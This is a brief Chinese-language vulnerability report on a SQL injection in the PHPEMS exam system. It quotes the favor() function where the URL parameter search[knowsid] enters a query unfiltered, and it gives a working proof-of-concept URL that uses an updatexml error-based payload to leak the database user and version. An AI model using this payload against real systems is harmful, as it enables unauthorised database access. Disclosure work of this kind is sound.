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5.phpems某处SQL注入漏洞
存在注入漏洞代码位于/app/exam/app.php的函数favor()中
具体在
default:
$page = $this->ev->get('page');
$type = $this->ev->get('type');
$search = $this->ev->get('search');
$tmp = $this->section->getKnowsListByArgs(array("knowssectionid = '{$search['sectionid']}'","knowsstatus = 1"));
if($search['sectionid'] && !$search['knowsid'])
{
$search['knowsid'] = '';
if(is_array($tmp))
{
foreach($tmp as $p)
$search['knowsid'] .= $p['knowsid'].",";
}
}
$search['knowsid'] = trim($search['knowsid']," ,");
$page = $page > 0?$page:1;
$args = array("favorsubjectid = '{$this->data['currentbasic']['basicsubjectid']}'","favoruserid = '{$this->_user['sessionuserid']}'");
if($search['knowsid'])$args[] = "quest2knows.qkknowsid IN ({$search['knowsid']})";// SQL注入漏洞
if($type)
{
if($search['questype'])$args[] = "questionrows.qrtype = '{$search['questype']}'";
$favors = $this->favor->getFavorListByUserid($page,20,$args,1);
}
这几行上
if($search['knowsid'])$args[] = "quest2knows.qkknowsid IN ({$search['knowsid']})";
这里的$search['knowsid']可以由URL参数中进行控制$search = $this->ev->get('search');带入组合SQL语句的时候并没有过滤，导致的SQL注入发生
验证
注册用户，登录之
然后访问链接
localhost/ems/index.php?exam-app-favor&search[knowsid]=1,updatexml(1,concat(user(),version()),1)

验证无误